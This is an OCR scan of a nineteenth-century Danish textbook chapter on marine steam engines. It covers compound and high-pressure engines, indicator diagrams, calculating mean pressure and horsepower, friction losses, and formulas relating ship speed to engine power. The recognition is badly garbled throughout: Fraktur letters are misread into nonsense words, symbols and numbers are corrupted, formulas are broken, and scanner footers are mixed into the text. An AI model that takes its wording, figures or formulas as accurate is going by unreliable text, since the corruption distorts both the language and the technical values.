kolbPanbsfranerne* ^aanbtag meb Perticale Siper, ber funne bepæge* fra Doeffet. ffieb
benne ©ouftruetion er Summet, fom Staffinen inbtagcr langfTib*, inbjfrcenfet til bet
minbit mulige; men ben er temmelig pei og flere af Delene ere meget panffelige at
tomme til.
§ 9. $citrpf*maffinen gig. (39, ber er Sinfelmaffine ligefom ©arlfunb*, et
anrenbt bo* o* fom •Sjcclpefraft paa et minbre ©fib. Den bar Sliber til Vi og V*
©jpanjton (omtrent) og foerfTilte ©fcentrifter til bi«fe. SlUc fire ©jcentriffer fibbe
imiblertib paa en fcetleb* #plfe, A, ber er fmpget paa ben bule Gnbe C af Jljelen.
$plfen bar inboenbig et ©tpffe ©fruegjoenge D, og Slpelen en Split !ang«efter. 3n«
beni Slpelcn* fiuulpeb finbe* en Solt B meb to Dren, E, E, fom gaae igjennem
©plitten og inb i ©jtrngen ; naar B troeffeS ub peb fijarlp af en Uboejling, faa breie*
$plfen og meb ben ©scentrifferne paa Slpelen, og SHaffinen* ©ang ret enere*. Da
imiblertib ©ipanjlonéfliberne unber Safning oirfe forfcert, faa gaaer ber fra ©trubc»
Pentilen* ftasfe en ©anal, fom leber Dampen birectc inb i bet inbre ©Ubcffab, naar
Sentilen breie* mobfat Sei. gobcpumperne ligge openpaa Sammen og bripc* af en
lilrm fra Jpcrrfipffet. fiignenbe SKaffincr faae, ba be gjerne gaae meget purtigt, unber*
tiben ingen gobepumpcr, men blot Donfeppumper.
§ 10. gig. 71 Pifer ^opebtræffene af en o*fcillerenbe SRaffinc efter fflcolf*
Sriitcip. A er ben minbre ©plinber, i br i* ©libejfabe $oitrpf*bampen fommer inb
gjennem lappen C; efter at pare otrfet i A gaaer Dampen gjcnnem D inb i ben
flerre ©plinber B, og rirfer bet ejpanfipt ; tilfibfl gaaer ben gjennem E til gortoetteren.
De to ©plinbere i gigureit b*Pe famme ©lag og rirfe Paa ligefiore krumtapper; men
man fan ogfaa gjore Slag og krumtapper forfTjellige. Derpeb, og peb Sejlemmelfen
af gorpolbet medern be to ©plinbre* Diametre, bar man bet i fin ®!agt at bruge
Dampen ejpanfipt til brtlfeu ©rab man pil, uben aL faae faa flor Ujepnbeb i kraften,
fom naar Dampen ejpanberer i een ©plinber ; SKajflRn er imiblertib paa ©runb af fin
©omplication iffe fpnberlig i Srug.
gig. 72 er en SDiobification af SBoolf* SDtaffine; begge ©templet baPe fotlleb*
©tang, og ©plinberne forlobe binanben. D er Damproret, F gaaer til gortoetteren.
gor nebgaaenbe ©lag aabne* Sentilernc C og C’; bele kraften af $*ittpf*bamprn
brioer ba bet minbre ©tempel nebab, tbi Summet meaem ©templerne flaaer bejlanbig
i gorbinbelfe meb gortoetteren. gor opgaacnbe ©lag luffe* C og C, men H aabne*,
og ©templerne gaae op meb en kraft, foarenbe til gorffjeden i be to ©templer* Slreal
og Srpffet af ben ocb ©jpanfionen flebfe fpagere blirenbe Damp. 3 ben ©arlfunbffe
©anonbaab*majfine, gig. 73, træber bet ringformige Sum A ntellem Irunfen C og
beu pbre ©plinber iflebetfor ben foran beilrepue SDtaffine* minbre ©plinber, og Summet
B bag ©templet iflebetfor ben jlorre. gortoetter anoenbe* iffe. Unber inbgaaenbe Slag
flippet ©liben £citrpf*bamp inb i Summet A paa famme Siaabe fom en foeboanlig
kortflibc ; ben brugie Damp gaaer fra B gjennem D ub i ©foijlenen. Unber ubgaaenbe
Digitized by Google
48
©lag fjotter ©liten* mibterfte gja* D luftet, og ®ampen gaaet ba fra A til B og
oirfet ejpanberenbe paa bet ftore ©tempel, mtb en Jtraft foarenbe tit gorffjellen meHem
bet* og Dlingen* Streal. giguren oifer Gtjcentriffen* og Strumtappen* ®ang; foroorigt
«r UHajtiuen cortftrueret fom tBinfelmajtine. JJenne Sonftruction gjor bet mutigt at
anbringe jior flraft i et tibet tRurn, men jtaaer i be ftcjlc anbte henfeenber tilbage for
be faboanlige SSaffiner. kraften et nemtig ujeon, ben affjotenbe Ooerffabe og grictionen
jior, og SDiaffinen maa bpgge* jicrrf not til at taate ben bctpbelige fitaft, fom frem*
tommer *eb at hoitrpf*bampen i SBcgpnbelfen af ubgaatnbe ©lag oirfcr meb ncejlen
uforminbjtet ©poenbfraft paa tjele bet ftore ©tempel.
§ 11. 25onfep*Slaftiner, elter fom be ogfaa talbe*, ©amppumper, inbrette*
paa mange forjfjeUige SKaabcr, beel* oerticale, beel* horisontale j gig. 70 pifer en
^orijontal Hontep, ber er anoenbt paa oore Sfrig«(tibe. D er SDampreret, C en
glibcnbe ©trubeoentit, B ©libejtabet, A (Epliitberen, inbrettebe fom paa enbret anben
Dampmajline. ©tempeljlangen er tpffere cnb faboanlig, forbi ber bel; esc* minbre Straft,
naar ©templet gaaet inbab og gumpen fuger, enb naar Sanbet ftal trpffe* inb i
fijeblen. fgumpen* plunger er birecte forbunben meb ©tempeljlangen ; E er ©uge,
F ©tigeoentilen. 83eb G er anbragt et loerjiptfe, fom flpre* t IRamraer og eeb hjalp
af to ©ibeflanger brioer to ©oingbjul fom H. Gn etecntrif! ?Sinb paa bet ene af
bi«fe brioer ©liben oeb hjalp af ©ibeftangrn I og SBagtjiangen K. 25a ben brugte
2)amp flippe* ub i Suften, SDonfepen altfaa er en h*'ript*majtine, tan ben eanffelig
bruge*, naar ®amptrptfet i ftjebfen er minbre enb 6 a 8 /&.
Digitized by Coogle
Jemfe ($apiift
Øm ajJaflincrncg (Sffect.
§ 1. Seb Sffecten af en Kraft i en Bib Sib forpaaeb Srobuctet af bet Irpf,
Kraften ubøBcr, og ben Sei, forn Kraftenb Plngrebbpunft gjennemto&er j fccboantig
ubtrtjffrS Kraften i Sunb og Seien i gob, og Senpeben, boormeb (Sffecten maaleb,
faaer ba Waon af Sunb^gob (®j). Ubforer Kraften pt Slrbeibe Mb £jcr(p af en
Siaffine, fan tnebgaaer enbeet af Kraftenb Sffect til at oBeroinbe 9J?affinbelcneb griction
og b»ab anbcn STOobffanb mob Seocegelfen SSaffinen inbebolber, faa at Srobuetet af
fiapen og benb Sei, ber falbeb ben bebolbne Sffect elter 2trbeibbmcengben, blioer ininbre
enb Kraftenb (fffect, faameget nemlig fom @ummen af alle fprobuctcrne af ett boer af
SDiobffanbene inben Staffinen og benb Sei. S!an maa faalebeb oeb enboer StnfTine
ffjelne meHem Kraftenb eder Srutto*Sffeeten og ben bebolbne (Sffect.
Sarbien af en Driofraft beroer paa boer por Sffect ben fan frembringe i en
Bib lib. It! at ubtrpffe Dampmaffinerb Scrrbie (Slrbeibbeone) eller Kraft, fom bet
alminbelig falbeb, benpttebe ©att en Scnbeb, fom ban falbte en fjepefraft, og fom
Bar en Sffect af 33000 S"f (Sngelff Slaal og Soegt) pr. SDtinut; faameget funbe
nemlig en ffoerf -gtcfi, arbeibenbe unber forbeelagtige Cniffcenbigbebcr, ubrette. (fKibbel*
Boerbien af en alminbelig ■fcepb Slrbeibe er omtrent bet §alBe beraf). Ubtrpfbmaaben
er fenere bibebolbt og oBerfort meb ubetpbelige ©iobipcationer til anbre fianbe. 3
granfrig regneb faalebeb en fjePefraft lig 75 KtlogranitSWeter pr. ©ecunb, ber fonter
til 32,560 S"f Sngelff pr. Stinut; i Snerrige regneb 36000 S"f ©nenff = 32,860
ffi"f Sngelff j Bi regne 29100 StorjT, ber er netop lig 33000 Sngelff.
§ 2. SruttøjKraften bob en Dampmaffine er Srobuetet af Dampenb Irpf paa
Splinberpemplct og betteb Sei. Irpffet oarierer, fom tibligere oiiff, fra Deel til Dcel
af ©laget, og bet blioer altfaa betb SDtibbelBoerbie, lioonneb man maa multiplicere
©templetb Sei pr. SJlinut for at faae Srutto^Kraften. gor at funne ublebe Sfibbel*
trpffet i Splinberen af Irpffet i Kjeblen maatte man tage ■fjenfrm paa ben Kraft, fom
mebgaaer for at beooege Dampen gjennem Damprøret, ©trubeoentilen og Sortene, poib
©torrelfe ibelig foranbreb oeb Slibenb Seooegelfe; oibere, paa Srpanftonen, paa S2ob«
trpffet paa Sacumpben, ber igjen beffemmeb af PJfobtrpffet i gortoetteren og Kraften,
fom mebgaaer fot at brise Dampen gjennem Slfføbbcanalen ; enbelig paa Krafttabet,
fom Dampen liber oeb Slffjøling unberoeib og i Gplinberen. ©mane Scrffagcr Beb
©libefjoefene og Splinberpemplctb Safuing pnbe fom ofteff ogfaa ©teb og fare 3"^
flpbclfe paa Siibbeltrpffet, ber faalebeb iffe meb Siffcrbcb laber ftg beregne, ©fal
man funne beffemme en Staffincb #eflcfraft noiagtig, faa maa SWibbeltrpffet i Splitt*
beren føgeb oeb $joe(p af ben i 3nblebningen beffreone 3nbicator. $oør!ebeb benne
anbringeb paa Sfaffinenb Gplinber er tibligere forflaret. 3 Sallancemaffiner fan man
foeffe ©noren, fom beottget Sopiret, til SoraHelogrammetb ©tpreffang, faa langt fra
benneb fape Sunct, at Snbicatoren gjor benpeb en Cmbreining for poert ©lag af
4
Digitized by GoogI
50
Staffinen. 3 birceterirfenbe OTaffiner meb fajiflaaenbe Gplinber benytter man iflebctfor
Stpreftangen cn Sagtjlang af Iroee, ene ®nbe faaer et faft Senter, og b»iS anben
Gnbe reb $jælp af en ©nor forbinbeS meb Joarfhjffet ; Snoren fra 3nbicatoren lebeS
o»er en Iribfe til et ‘JSunct paa Sagtjfongen i faaban Slfftanb fra bet fafte Senter, at
ffleragelfen rebucereS i bet fornobne gotbolb. Om t. Gr. Staffinen bar 4 gobS ©lag
og Snbicator tittaber en Sesagelfe af 6 Sommer raa Snoren, faa baftes tenne raa en
Ottenbebeet etler libt minbre af SagtftangenS fiængbe fra bet fajie Senter tri gorbinbelfen
meb Srerftfiftct. Saa oSfcillerenbe Gplinbere ait»enbeS bebjt et ftcrre og et mtnbre #jul, et
SlagS Sril — meb 2ljelcn faft raa Sblinberen. Snoren fra Stempelftangems §ooeb tebes
ba om bet ftcrre #jul, Snoren fra 3nbicatoren om bet minbre. SRaat Staftinen er i Slang
laber man forfi SnbieatorenS Slpant opiraffe DtuUinien (atmospheric line) og aabner
betraa firanen, faa fremlommer efter et etler nogle faa Slag af Siaffinen et Diagram, b»or*
efter Jtranen tuffeS og fPartret tages af. fiangben af Diagrammet parallel meb 9tul»
linien forefiillcr Slaget i forminbjfet Sfala; ben beleS i et 21 n tal Dele, t. (£f. ti,
fom i gig. 64, og Orbinater, b. e. ‘Perpenbiculcrrer raa Kullinien, optraffeS og rnaaleS
meb 3«bicatoren« Stala i tjiunb. Den oerticale 3nbbeling raa gigurerne IJJlabe 3,
ber ere Soriet af rirlelige Snbicatorbiagrammer, rifer ben brugte 3nbicator« Stala,
noget forminbffet. £>al»belen af be to pberpe Orbinater lagt til Summen af alle be
meHemliggenbe og bioiberet meb Delenes 2tntal gioer Slibbeltrpffet. gor Sammenlig»
ning metlem forftjellige Diagrammer ber Orbmaterne raa Damr og raa Sacumjtben,
b. e. orer og unber Sutlinicn rnaaleS b»« for fig, og SKibbeltaltene abbereS. Summen
er ba bet forlangte ORibbeltrpf, ber i 2llminbeligbeb falbeS 3nbicatorttpffet i betegnes
bette meb i, SpiinbcrenS Diameter t lommer meb D, Slagets Sangbe i gob meb 1
og Slagenes 21ntal rr. Stinut meb n, faa er røaftinenS Srutto eder Jnbicator
£eflefraft
K = *
29,100
naar Sorff røaal og Sagt benptteS. gor bet rnepe angioer 3«bicatorenS Sfala @n»
getffe 0 rr. Sngelft Orabrattomme ; man fan ba enten trerffe 4 % fra i etler ubtrpffe
D og 1 i Sngelff SLTfaal, og bicibere meb 33000.
§ 3. Da Snbieatorbiagram naturligriis iffe tan faaeS, fer Staffinen er fatbig
og i ©ang, faa er bet af Sigtigbeb tilnarmelfeSriiS at funne ublebe OTibbeltrpffet i
Snlinberen af Damptrbffet t ftfebelen. Seb 3agttagelfer, anftitlcbe meb forffjeflige
Slaffiner, er man fommen til folgenbe SMultatcr : Jiraften, fom ntebgaaer for at brire
Damren giennem Damprcret og Strubeoentilen, naar benne !;ar bet fabranlige 2lrcal af
Vas Gplinberpempel og er fulbt aaben, famt raa ©runb af 2lffjeling i Stcret og
Stibeffabet, ubgjcr for Canbmaffiner 3 % af DampenS Spanbigbeb; for Scemaffiner,
ber gjerne ere mere ubfatte for 2lffjoling, fan man regne 6 °/o. Gr t. Gr. Damp!
trpffet i fljeblcn 10 0, DampenS Spanbigbeb altfaa 14,16 — |— 10 = 24,16 0,
faa er Jabet, for en Scmaffine, 1,44 0" og ftørjte Spanbigbeb af Dampen i Gplin»
beren 24,16 — 1,44 — 22,72 0", altfaa jlcrfle Jrpf paa Dampfiben 8,56 0".
2lf ben funbne SegpnbelfeSfpanbigbeb i Gplinberen og ben af Sliben beflemle
Srbanfton fan man efter Slariottis 2or banne et tbeoretiff Snbieatorbiagram. ffiar t.
Gr- Grpanfionen Va og SegpnbelfeSfpanbigbeben ben fer funbue, 22,72 0, faa ble»
Spanbigbeben reb Slagets Slutning */a X 22,72 — 15,15 0 og SWibbelfpatnbig*
Digitized by Googlé
51
beben ftnbeg, naar ©laget beleS i 9 Dele, 21,29 0. Droffeg ^erfta 1 Sftmofpbore,
faa faaeas røibbeltrpffet paa Dampfiben 7,13 0, fom Snbicatore» oilbe Pife, om intet
ftcafttab i Gtjlinberen fanbt ©teb; et faabant fremfommer iraiblertib, fcl» om ©libe og
©tempet ere fulbfommcn tartte, Peb 3nbfitibningen af Slabningerne for Dampen for
(sjpanfionettb Scgtmbelfe, og oeb (T.plinbereng Ubflraaling af Sarme. Dette £ab
fan mcb ben fobøanlige (jjpanftonggtab anfoiteb til 4 å 6 % af Dampeni ©pan»
bigfjeb i Stjeblen, mcb Va ©fpanjton tit 8 %, meb 3 U ©ipanftoit til 10 °/o,
men opgaaer fanbfpnligøiig ofte tit mere, naar t. Sj. S^tinberen bar flor oanncftraalenbe
©øerflabe etter er ubfat for flaerft Sufttrof. Jrcefteé i bet oatgte Sjcmpet 4 % af
24,16 elter 1 0 fra bet funbne tfjeoretiffe SWibbelbamptrpt 7,13 0, faa faaeg 3 ,l bi*
eatortrpffet paa Dampfiben, 6,13 0, ialtfatb tilnarmelfegpitf rigtigt.
Saar gortotningcn er i gob ®ang, faa finbeé ber, fom tibtigere oiifi, i gor»
latteren et røobtrnf af omtrent 2 0 ; bette ferogea meb Kraften, fom beboøeg tit at
bripe ben bragte Damp gjennem StftobScanalen, faa at 3nbieaioren paa SGaeuinRben i
atminbetigtjeb pifer 11 å 12 0 unber Sttmofpboren, etler Sacum, fem man pleier at
fatbe bet, paa bet nocrntefle unber bete ©laget; bet for omtalte røobtrpf, fom frem»
fommer peb at Ubgangen for Dampen luffeJ for Staget er titenbe, bar nemlig, naar
©libebeeagetfen er benjigtgmogjig, ingen pafenttig 3nbflt)betfe. Dette SBacum af
11 å 12 eller i Sttibbeltal 11 Va 0 faaco bog fun, naar Sfaffinen fjar en i gortjotb
lit ftn ©torretfe moberat J&afiigbeb, faalebeS fom bet i Stlminbeligbeb er lilfolbet meb
©oemafTiner, fom brioe ©footbjut. Directcoirfenbe Sfruemaffiner, ber forbetmejle gjcre
IVa til 2*/a ©ang faa mange ©tag fom •ftjutmaffiner af fantme Straft, Pife berimob,
naar be gaae meb fulb $af}igf>eb, fjetben mere enb 9 0 Sacum, cg om ©lagene*
Stntal normer fig ben ftcne af be noonte ©rænbfer, fan man neppe paaregne mere enb
7 ø. Diaar faabanne Stajfiner gaae fagte — meb nojlen (uffet ©trabeoentit — faa
fliger Sacum til bet famnte fom for ^julmaffincrne. Dette betnbclige Krafttab fpnrf
faatebeS alene at baøe fin ©runb i tltiaffinerneS flore $afligbeb, og man fparer attfaa
Sronbfet naar man peb llboejling elter Peb SropcUeren* Sonflruction fan bringe 271a»
ffinen til at ubpifte fin Kraft meb et rninbre Stntal ©lag pr. Siinut.
£agget man for langfomtgaaenbe 2T?aff iner llVs It, for luirtiggaaenbe 9 å 7
0, efterfom £aftigbeben er minbre eder jiørre, til bet funbne SKibbelbamptttyf, faa faaer
man ben Soerbic af i, fom maa inbfotteS i gormelen i forrige §, naar man, uben
Snbicatorbiagram, tilnonnelfeboiio ff al be|!emme Srutto^cflefraften.
Slanbt 3nbicatorbiagrammerne gig. 64 till;orer 9lr. 1 en olbre Sallancemaffine
meb 4 0" 2rpf i Kjeblen og Va Srpanfion. giguren gioer 5)iibbcltrt)ffet paa Damp»
jiben 0,2 0", Sacum 11,9, altfaa i 12,1 0 ; beregnes irnffene efter foranførte
Segler, faa faaeS i = 12,6 0 ; gorffjetlen fommer fornemmelig af at Damptrpffet
i (Eplinberen peb ©lagets Scgtjnbelfc er noget minbre i gorbolb til Jrpffet i fljcblen,
enb bet pleier at pore. So. 2 tilhører en <*jutmaffine meb 10 ø Irpf i Kjeblen og
gjpanfion unber V» af ©laget, giguren gioer røibbelbamptrpffet 5,9 Sacum 11. o
attfaa i = 16,9. Det betegnebe Jrpf blincr 16,2, altfaa noget for libet. 9to. 3
enbelig tilborer en ©fruemajline meb 10 0 Dampttpl i Kjeblen og Va drpanfion.
De oirfelige Irti! ne ber 5,3 0 Damp, 8,3 0 Sacum, i== 13, 6; bet betegnebe
1, naar Sacum antageS til 8 0, forbi SBaffinen gfor omtrent bobbeit faa mange ©lag
fom en fcjulmajfine af famme Kraft, blioer 14 0. Det afrunbebe fjerne paa foire
4 *
igle
52
gifct nebentil paa bcttc Diagram Pifer, at Dampens Ubgang luffeS temmelig tibligt i
tenne ©tajfinc. goronrigt oife Gjempierne, at ©eregning af Snbicatortrpffet et unber*
Taflet en temmelig betpbefig Uftfferbeb.
§ 4. 9taar en ©taffine gaaet raeb Gjpaitfion, og A betegner ©templets SIteal,
p DampenS ©pcenbigbeb, a beit Deel af ©laget, fjnornnber dampen fan (homme
inb, b ben Deel, fioonmbet Den erpanberer, faa ffulbe, bois intet Sfrafttab peb 5lffjø>
ting i Gplinberen f antt -teb, Gffecten pr. ©lag biite E = Apa (1 -j- Log. nat.
— 4~ _ a ) og Dampforbruget pr. ©lag A. a. Gn ©taffine ubeit Grpanfion rilbe meb
a
fammc Dampforbrug gire Gffecten Apa pt. ©lag; altfaa (Tulbe ret Gtpanjionen oinbcø
i Gffect af en gioen SWangbe Staenbfel unber foroorigt lige Cmftønbipbeber, i gor*
b 4- a
bolbct 1:1 + Log. nat. == 1 :
1 + Log. nat. — , naar GtPanftoncn beteg*
ncS meb Vn. gor V«, V», 3 U Gjpanfion gieer Sbeoricn en ©eoinft af 29, 69, 138
%, men ba mait, for at faac famme firaft ub meb biøfe Gtpanfioner forn uben Gr*
panjion maatte foroge GplinbcrenS ©oliim meb Va, 1, 3 ®ange bet oprinbclige, faa
gaaer i ©raris en flor Deel af ®e»in(len tabt peb ben foregebe Sarmefhaaling og
grietion, ifar for be gotere Gppanfionøgraber. dertil fommer, at (lor Grpanfion giner
ujaemi ftraft, og at ©tajfinen maa btjggeé flcetf nof til at mobjlaac bet jtorfte Jtpf i
Gplinbcten, altfaa blioer tungere, naar flor Grpanfion (fal anncnbeS. ©eb mange ©lagS
Slrbeibe er bet ogfaa en Sctingelfe, forn inbffroenfer GrPanfionenS 'tinrenbeligbcb, at
ffraften iffe unber nogcn florre Deel af ©laget maa blipe minbre enb Eajtcn paa ©ta*
ffinen. 2Ule biéfe fjenfpn beoirfe, at man fjclben anoenber boiere GjpanjtonOgrab enb
Va og ba i gorbinbelfe meb 1 é 2 Sltmofpbærerø JtPf i fijeblcn. ©eemaffiner bruge
nccften altib ©libe til at flippe Slampen inb og ub, og ba adercbe Va Grpanfion
fraePer to ©liber, noieS man forn oftejt meb Va- Mun paa enfelte meget flore $jul*
bampffibe bar 3 U Grpanfion Bæret forfogt, men be ba»e ba fiaot Dobbeltfcebepentiler
iflebetfor ©liber.
§ 5. 2tf en DampmajfineS Snitto*Jtraft mebgaaer en Deel til at operrinbe
©taffinbelenS grietion, famt til at brioe Suftpumpen, gobepumpen og i fianbinaffiner
ffolbBanbSpumpen. 2lf grictionen er ben Deel, forn frembringes af ©taffinbeleneS
Socgt og ©afningcrne, temmelig ncrr ben famme meb (lort forn meb libet £ amp tri) f i
Gplinbcrcit, famt for forffjetlige ©taffiner proportional meb GplinberftempletS 9treal.
©tan bar Peb gorfog fnnbet, at benne conftante Deel af grictionen fan i pel conflrucrebe
og pel bolbte ©taffiner anfaetteS til 1 W pr. Dpabrattomme af ©templet, og altfaa
ligefrem fubtrabcrcS fra 3nbtcatortrpffet. Dteften af grictionen og Slrbeibet meb ©um*
perne porer proportionalt meb ben uboiflebe ffraft, og fan, ligelcbeS for gobe ©taffiner,
anfcctteø til 20 % af firaftcn; beraf mebgaae omtrent 12 til GonbenfationSpanbetS
Ubpuntpning, ber faalebeø frembringer ben betnbeligfte af ©tobftanbene inben ©tajfinen.
©tultiplicerer man altfaa bet meb 1 It forminb(febe Jnticatortrpf meb 0,8, faa faaer
man bet bebolbne eller effectioe Irpf e — 0,8 (i — 1) forn inbfat iflebetfor i i gotmelen
§ 2 giper ©taffiitenS Pirfelige $eftefraft, ber i bet golgenbe et betegnet meb H.
§ 6. 2Bati anflog bet effectioe Irhf i fine ©taffiner, ber arbeibebe meb 4 W
Damptrpf i fijcblen og V 3 Grpanfion, til 7Va ®", og beregnebe beraf ben •fjcjielraft,
bporefter f)an benaeonte ©taffinerne. Denne ©taabe at benærne ©taffiner f>ac man fiben
beljolbt, paa mange ©teber, nten ingenlunbe overalt, uagtet man peb foroget Damptrpt
by Google
53
i Kjeblerne og fitlbfomnere gabrication af SWaPinerne ubbragte et meget purre effectiot
Sri}! — ofte bet bobbefte og berorer. gotgen er, at ben faafatbte nominefle £epefraft,
tangt fra at angire ben Kraft fom SDtapinen rirfelig ubpiflet, fnarere er et tilnærmet
Ubtrpf for ben* ©turrelfe. Ilen rirfelige $epcfraft bo * æibre SPiapincr pleier at roere
Vs til '/« Sang purre enb ben nominelle; npere Sngelpe og grande SWaPiner ubrifle
fom ofteP bobbelt faa por Kraft fom ben, brorefter be benæwe*, (hinbom mere.
Sippabe, 31bft«be og SBanbforbrug meb be beraf afbcengige Dimenponer af
Kjeble og SSaPine ere i bet fjoregaaenbe angione fr. norainel #epfraft, faalebe* fom
bet i fiæren om Dampmapinen pleier at ffce. Seglerne ere bentebe pa be æibre Son»
bcnfattonSmaPiner, og reb 1 nominel #eftfraft maa faalebe* forpaaeé IV 3 rirfelig, eller
©turrelferne maa beregne* til 3 U af ben rirfelige $efiefraft, fom SBtaPinen Pal ubsifle.
Dette pemmer orereen* meb en anben npprorimatir Segel, at 1 Kubiffob (enge(P)
SBanb forbampet i Simen giret 1 nominel $epefraft. 1 Kubiffob SBanb banner nemlig
1347 K. g. Damp af 4 BE i Srpf, fom forbrugt meb V 3 Sppanpon girer et effectint
Srpf 9.4 8". 1347 K. g. pr. Sirne er 22,5 K. g. pr. SWinut, fom paa ffirunb
af (rppanfionen plber 3 /j X 22,5 = 33,7 K. g. Splinberntm. 9.4 BE pr. Dra »
brattomme er 1354 EE pr. Drabratfob, og Sffecten blirer faalcbeS 33,7 X 1354 =
45,600 EE>\ — 1.38 rirfelig eller 1 nominel £>epefraft. Da Dampen* SBolurn er
omrenbt proportional meb ben* ©pænbigbeb (omtrent), faa ubfommet famme Sefultat
om man reb Seregningen gaaer ub fra et flerre Damptrpf i Kjeblen. ©eir for >pui=
trptbmaffiner bolbcr benne Segel tilnærmelfeSrii* ©tit.
§ 7. Saar en DampmaPine brirer et ©fib pem gjennem SBanbct, faa er
ber, faafnart ©fibet er (ommet i gart og SBcrægclfen er bleren jern, fiigerægt mellem
ben Deel af OTapincn* Kraft, fom anrenbe* i ©fibet* 5<er(rgelfe*retning, og ben SMob--
ftanb fom ffiano og fiuft itbere mob ©fibet. Sbeorien allene formaaer iffe at beftemrae
bror Por Deel af Kraften et p3ar girne ©forlbjul eller en giren ©frue bringe til Sin»
renbetfe i ben forlangte Setning, ei betler brab StobPanb et giret ©fib unbct girne
Dmpæntigbeber liber af SBanb og fiuft. SDian bar berfor allene Srfaringen at polbe
pg til, og ba Cuften* SKobPanb paa ®runb af goranberligbeben i SBinben* ©tprfe og
Setning famt gorPjefligbeben af be giabcr, b*orpaa ben rirfer, iffe lettelig laber pg
bringe unber SBeregning, par man maattet nøic* meb at fuge empiripc, b. e. birecte af
Srfaring ublebebe gormler for Selationen ntelleni SWa pinen* Kraft og ©fibet* gart i
pille SBeir. ©aalænge iffe ©forlbjulene gaae uforbolb*mæ*pg bpbt i SBanbct, og ber»
reb fpilbe en pørre Deel af DtaPinenS Srbeibe, faalebe* fom pben ucermere pal rife*,
læter Srfaring, at ben npttigt anrenbte Deel af SKaPinen* Speet er proportional meb
ben rirfelige pePefraft H; bet famme er Silfælbet om ©hue anrenbe* fom grembrir*
ningbmibbel. SBanbct* SiobPanb mob ©fibet Pulbe efter Sbeorien rope fom ■giapigljcben*
Drabrat; Srfaring rifer, at ben rojer libt Pætfere, nemlig fom fiaPigbeben h i Sfio»
tenfen 2*/s. SSobPanben afbænger enbribere af ©fibet* porPe Srerfection unber SBanbct,
altfaa af SDtibbelfpant*areaIet, M, famt af ©fibet* gornt fororrigt. Damppibe con»
Pruere* nu altib forbolb*rii* lange og Parpe, og Srfaring rifer, at inben be i Sfiraji*
fcebranlige ©rænbfer for ©farpbeben b ar benne* goranbringer liben etlet ingen 3nb J
Ppbelfe. Unber benne gorubfætning Pulbe efter Sbeorien SHobPanben rcere proportional
meb SDtibbelfpantøarealet ; man b ar funbet ben forbolbirii* minbre for purre ©fibe,
nemlig proportional meb SKibbelfpanttareatet i SBctenfen 0,8. SKobpanben* Sffeet er
lig SDlobpanben felr, multiplieeret meb £apigbeben, altfaa proportional meb M°- 8 X
Digilized by Coogle
54
h 3 */». Unber be anforte gorubfcrtninger, at ©fibet iffe et ufaboanlig fptbigt etler
^julffooterne* Snflag mob Sanbet utitbørtigcn ffraat, gjcetbe faatebe* gormlerne
h = 10 ( ^r) 0,1 «8 H = 0,000464 M°» h'%
baabe fot $julffibe og ©frueffibe. h er i gormlerne ubtrpft < gob pr. ©eeunb;
0,6 h et tan bet atterneermefle garten i tfnob. 3 en label bag i Sogen er for for*
ffjellige ©ampffibe be efter gomtleme beregnebe $aftigbeber fammenjtiUebe meb be oeb
Srooer funbne; Ooereen*ftemmelfen oifer, at gormlerne gjengioe bet fcrboanlige gorbotb
meb titfhrcrffetig Støiagtigbeb. ®ett ©at* (laaer altfaa faft, at ffal man foroge et gioet
©fib* ^ajtigbeb for røaffinen i ©titte, faa maa man foroge bet* Staffine* fflraft t et
noget fiorre gorbotb enb garten* fiubu*. Om t. @j. et ©fib for 100 $efte* Sraft
gjor 6 Jfnob* gart i ©titte, faa maa man fot at btioe bet ftent meb 8, 10, 12
Sfnob* gatt, tigetebe* i ©titte, anoenbe refpeetioe 260, 550, 1010 $efte* ifraft.
røeb ^cfteltaften (tiger Staffinen* og ben* Stuifonaab* Saegt ; fot at bore bi*fe bebooe*
igjen et fiorre ©frog ; ‘Prifen paa et ©fib, forn (fat funne fore et gioet Slntat Sanoner
etlet en gioen Saft, fiiger faatebe* meb Imjtigbcben i et enbnu fiorre gorbotb enb bet
foran oaaoijte.
§ 8. <5 at man et ©fib* SWibbelfpantSareat og ben gart bet ffat gjor e for
fDtajfinen gione, faa fan man af ben onben gormef t forrige § ftnbe bet* oirfeltge
$e|tefraft H. got betaf at funne ubtcbe tKaffirtenS tCimenjtoner, maa man oibe boer*
mange ©tag pr. Stinut ben ffat gjore, og tette beroer igjen paa om ben ffat brioe
$jul elter ©frue. $jutene« (Diameter et gjerne, ibetrainbfte omtrentlig, beftémt af
Dcrffet* $øibe ooer Sanbftaben, tbi 2treten anbringe* enten toet unber etter toet ooer
(Dcrffet. ©fruen* diameter er begrcenbfet af ©fibet* ©pbgaaenbe agter, og bor, faa*
fremt Staffinen iffe er meget tiben i gorbotb tit ©fibet, gjore* faa jlot forn muligt.
3nben be ©rtrnbfer, forn ©fibet* ©torrelfe og gorm faatebe* foette, foger man at inb»
rette SWafFinen faatebe*, at Sptinberen* (Diameter og ©taget* Scrngbe btioe omtrent
tigeftorc, tbi beraf bar man ben gorbeef, at ben affjolenbt Ooerftabe btioer faa tiben
forn muligt. røbre Gonftrueteurer b«»be be*uben opfHitet ben Steget, at ©templet*
Sei pr. Siinut burbe ecerc omtrent 100 ©ange Eioabratroben af ©taget* Scrngbe t
gob} men f ben fenere 2ib bar man fat benne Steget, forn ingen botbbar ©runb bar,
ub af Sctragtning. ©templet* Sei pr. Sftinut er i be npere $juimaffiner gjerne om*
fring 200 gob, i ©fraemaffinetne omfring 300 gob; at imibtertib flor Imfligbeb
bo* ©templet i flere #enfeenbcr er uforbeelagtig, er tibtigere omtalt.
§ 9. gor at et Sar ©footbjut jfutte funne brioe et ©fib fremab, maa nob*
oenbig ©footerne* $a|ligbeb ocrre fiorre enb ©fibet* i et faabant gorbotb, at ben
borijontate (Dcet af bet af #aftigbeb*forffjelten frembragte SanbtrBf paa ©footerne botber
Sigeocrgt mob ben af Sanb og Sinb frembragte SSobjtanb mob ©fibet* Seooegetfe;
tigetebe* maa Cfffecten af bete Sanbtrpffet paa ©footerne pr. SJtinut ocrre tig Sfraften*
(Sffect pr. Siinut, b. e. tig SSaffinen* oirfelige £eftefraft. ©torretfen af Sanbtrpffet
paa ©footerne laber fig oet iffe meb Sejlemtbeb ublebe af Jbeorien; imibtertib fan
man bog af fotgenbe Setragtninger ftutte, boortebc* gorbolbet unber forffjeDige Om*
flcrnbigbeber omtrentlig maa (titte fig. A, gig. 67, ocrre $juteentret, B, C ©footer,
VV Sanbtinien. CE = v ocrre #a|tigbeben af ©footerne* Sii&betpuncter, CD— h
